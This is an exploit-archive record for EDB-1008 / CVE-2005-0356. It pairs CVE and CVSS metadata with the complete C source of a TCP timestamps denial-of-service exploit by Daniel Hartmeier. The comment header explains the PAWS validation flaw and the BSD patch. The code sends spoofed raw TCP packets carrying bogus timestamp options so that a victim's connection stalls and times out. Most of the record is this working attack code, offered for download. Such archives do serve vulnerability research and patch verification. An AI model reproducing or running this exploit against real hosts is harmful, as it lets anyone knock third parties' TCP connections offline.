{"exploit":{"id":"EDB-1008","name":"TCP TIMESTAMPS - Denial of Service (DoS)","description":"TCP TIMESTAMPS - Denial of Service (DoS)","cves":["CVE-2005-0356"],"author":"Daniel Hartmeier","published":"2005-05-21","platform":"multiple","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1008","path":"exploits/multiple/dos/1008.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1008.c","vulnerabilities":[{"id":"CVE-2005-0356","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple TCP implementations with Protection Against Wrapped Sequence Numbers (PAWS) with the timestamps option enabled allow remote attackers to cause a denial of service (connection loss) via a spoofed packet with a large timer value, which causes the host to discard later packets because they appear to be too old.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-0356","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-0356"},"updatedAt":"2024-08-07T21:13:53.238Z","retrievedAt":"2026-11-26T19:07:35.967Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1008.png?v=2","url":"https://exploitbin.com/exploits/EDB-1008","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1008/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1008/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n* TCP does not adequately validate segments before updating timestamp value\n* http://www.kb.cert.org/vuls/id/637934\n*\n* RFC-1323 (TCP Extensions for High Performance)\n*\n* 4.2.1 defines how the PAWS algorithm should drop packets with invalid\n* timestamp options:\n*\n* R1) If there is a Timestamps option in the arriving segment\n* and SEG.TSval < TS.Recent and if TS.Recent is valid (see\n* later discussion), then treat the arriving segment as not\n* acceptable:\n*\n* Send an acknowledgement in reply as specified in\n* RFC-793 page 69 and drop the segment.\n*\n* 3.4 defines what timestamp options to accept:\n*\n* (2) If Last.ACK.sent falls within the range of sequence numbers\n* of an incoming segment:\n*\n* SEG.SEQ <= Last.ACK.sent < SEG.SEQ + SEG.LEN\n*\n* then the TSval from the segment is copied to TS.Recent;\n* otherwise, the TSval is ignored.\n*\n* http://community.roxen.com/developers/idocs/drafts/\n* draft-jacobson-tsvwg-1323bis-00.html\n*\n* 3.4 suggests an slightly different check like\n*\n* (2) If: SEG.TSval >= TSrecent and SEG.SEQ <= Last.ACK.sent\n* then SEG.TSval is copied to TS.Recent; otherwise, it is\n* ignored.\n*\n* and explains this change\n*\n* APPENDIX C: CHANGES FROM RFC-1072, RFC-1185, RFC-1323\n*\n* There are additional changes in this document from RFC-1323.\n* These changes are:\n* (b) In RFC-1323, section 3.4, step (2) of the algorithm to control\n* which timestamp is echoed was incorrect in two regards:\n* (1) It failed to update TSrecent for a retransmitted segment\n* that resulted from a lost ACK.\n* (2) It failed if SEG.LEN = 0.\n* In the new algorithm, the case of SEG.TSval = TSrecent is\n* included for consistency with the PAWS test.\n*\n* At least OpenBSD and FreeBSD contain this code instead:\n*\n* sys/netinet/tcp_input.c tcp_input()\n*\n* **\n* * If last ACK falls within this segment's sequence numbers,\n* * record its timestamp.\n* * NOTE that the test is modified according to the latest\n* * proposal of the tcplw@cray.com list (Braden 1993/04/26).\n* **\n* if ((to.to_flags & TOF_TS) != 0 &&\n* SEQ_LEQ(th->th_seq, tp->last_ack_sent)) {\n* tp->ts_recent_age = ticks;\n* tp->ts_recent = to.to_tsval;\n* }\n*\n* The problem here is that the packet the timestamp is accepted from doesn't\n* need to have a valid th_seq or th_ack. This point of execution is reached\n* for packets with arbitrary th_ack values and th_seq values of half the\n* possible value range, because the first 'if (todrop > tlen)' check in the\n* function explicitely continues execution to process ACKs.\n*\n* If an attacker knows (or guesses) the source and destination addresses and\n* ports of a connection between two peers, he can send spoofed TCP packets\n* to either peer containing bogus timestamp options. Since half of the\n* possible th_seq and timestamp values are accepted, four packets containing\n* two random values and their integer wraparound opposites are sufficient to\n* get one random timestamp accepted by the receipient. Further packets from\n* the real peer will get dropped by PAWS, and the TCP connection stalls and\n* times out.\n*\n* The following change reverts the tcp_input() check back to the implemented\n* suggested by draft-jacobson-tsvwg-1323bis-00.txt\n*\n* if (opti.ts_present && TSTMP_GEQ(opti.ts_val, tp->ts_recent) &&\n* SEQ_LEQ(th->th_seq, tp->last_ack_sent)) {\n* + if (SEQ_LEQ(tp->last_ack_sent, th->th_seq + tlen +\n* + ((tiflags & (TH_SYN|TH_FIN)) != 0)))\n* + tp->ts_recent = opti.ts_val;\n* + else\n* + tp->ts_recent = 0;\n* tp->ts_recent_age = tcp_now;\n* - tp->ts_recent = opti.ts_val;\n* }\n*\n* I can't find Braden's proposal referenced in the comment. It seems to\n* pre-date draft-jacobson-tsvwg-1323bis-00.txt and might be outdated by\n* it.\n*\n* Fri Mar 11 02:33:36 MET 2005 Daniel Hartmeier <daniel@benzedrine.cx>\n*\n* http://www.openbsd.org/cgi-bin/cvsweb/src/sys/netinet/tcp_input.c.diff\\\n* ?r1=1.184&r2=1.185&f=h\n*\n* http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/netinet/tcp_input.c.diff\\\n* ?r1=1.252.2.15&r2=1.252.2.16&f=h\n*\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/socket.h>\n#include <net/if.h>\n#ifdef __FreeBSD__\n#include <net/if_var.h>\n#endif\n#include <netinet/in.h>\n#include <netinet/in_var.h>\n#include <netinet/in_systm.h>\n#include <netinet/ip.h>\n#include <netinet/tcp.h>\n\nstatic u_int16_t\nchecksum(u_int16_t *data, u_int16_t length)\n{\nu_int32_t value = 0;\nu_int16_t i;\n\nfor (i = 0; i < (length >> 1); ++i)\nvalue += data[i];\nif ((length & 1) == 1)\nvalue += (data[i] << 8);\nvalue = (value & 65535) + (value >> 16);\nreturn (~value);\n}\n\nstatic int\nsend_tcp(int sock, u_int32_t saddr, u_int32_t daddr, u_int16_t sport,\nu_int16_t dport, u_int32_t seq, u_int32_t ts)\n{\nu_char packet[1600];\nstruct tcphdr *tcp;\nstruct ip *ip;\nunsigned char *opt;\nint optlen, len, r;\nstruct sockaddr_in sin;\n\nmemset(packet, 0, sizeof(packet));\n\nopt = packet + sizeof(struct ip) + sizeof(struct tcphdr);\noptlen = 0;\nopt[optlen++] = TCPOPT_NOP;\nopt[optlen++] = TCPOPT_NOP;\nopt[optlen++] = TCPOPT_TIMESTAMP;\nopt[optlen++] = 10;\nts = htonl(ts);\nmemcpy(opt + optlen, &ts, sizeof(ts));\noptlen += sizeof(ts);\nts = htonl(0);\nmemcpy(opt + optlen, &ts, sizeof(ts));\noptlen += sizeof(ts);\n\nlen = sizeof(struct ip) + sizeof(struct tcphdr) + optlen;\n\nip = (struct ip *)packet;\nip->ip_src.s_addr = saddr;\nip->ip_dst.s_addr = daddr;\nip->ip_p = IPPROTO_TCP;\nip->ip_len = htons(sizeof(struct tcphdr) + optlen);\n\ntcp = (struct tcphdr *)(packet + sizeof(struct ip));\ntcp->th_sport = htons(sport);\ntcp->th_dport = htons(dport);\ntcp->th_seq = htonl(seq);\ntcp->th_ack = 0;\ntcp->th_off = (sizeof(struct tcphdr) + optlen) / 4;\ntcp->th_flags = 0;\ntcp->th_win = htons(16384);\ntcp->th_sum = 0;\ntcp->th_urp = 0;\n\ntcp->th_sum = checksum((u_int16_t *)ip, len);\n\nip->ip_v = 4;\nip->ip_hl = 5;\nip->ip_tos = 0;\nip->ip_len = htons(len);\nip->ip_id = htons(arc4random() % 65536);\nip->ip_off = 0;\nip->ip_ttl = 64;\n\nsin.sin_family = AF_INET;\nsin.sin_addr.s_addr = saddr;\n\nr = sendto(sock, packet, len, 0, (struct sockaddr *)&sin, sizeof(sin));\nif (r != len) {\nperror(\"sendto\");\nreturn (1);\n}\n\nreturn (0);\n}\n\nstatic u_int32_t\nop(u_int32_t u)\n{\nreturn (u_int32_t)(((u_int64_t)u + 2147483648UL) % 4294967296ULL);\n}\n\nint main(int argc, char *argv[])\n{\nu_int32_t saddr, daddr, seq, ts;\nu_int16_t sport, dport;\nint sock, i;\n\nif (argc != 5) {\nfprintf(stderr, \"usage: %s <src ip> <src port> \"\n\"<dst ip> <dst port>\\n\", argv[0]);\nreturn (1);\n}\n\nsaddr = inet_addr(argv[1]);\ndaddr = inet_addr(argv[3]);\nsport = atoi(argv[2]);\ndport = atoi(argv[4]);\n\nsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);\nif (sock < 0) {\nperror(\"socket\");\nreturn (1);\n}\ni = 1;\nif (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) == -1) {\nperror(\"setsockopt\");\nclose(sock);\nreturn (1);\n}\n\nseq = arc4random();\nts = arc4random();\nif (send_tcp(sock, saddr, daddr, sport, dport, seq, ts) ||\nsend_tcp(sock, saddr, daddr, sport, dport, seq, op(ts)) ||\nsend_tcp(sock, saddr, daddr, sport, dport, op(seq), ts) ||\nsend_tcp(sock, saddr, daddr, sport, dport, op(seq), op(ts))) {\nfprintf(stderr, \"failed\\n\");\nclose(sock);\nreturn (1);\n}\n\nclose(sock);\nprintf(\"done\\n\");\nreturn (0);\n}\n\n// milw0rm.com [2005-05-21]","sha256":"1a8b6f063004753b4c61a7480127b1e34e093a61e180062e47eadf2ecc36616f","bytes":7038,"fetchedAt":"2026-11-26T19:07:31.205Z","encoding":"utf-8 (display only; download retains original bytes)"}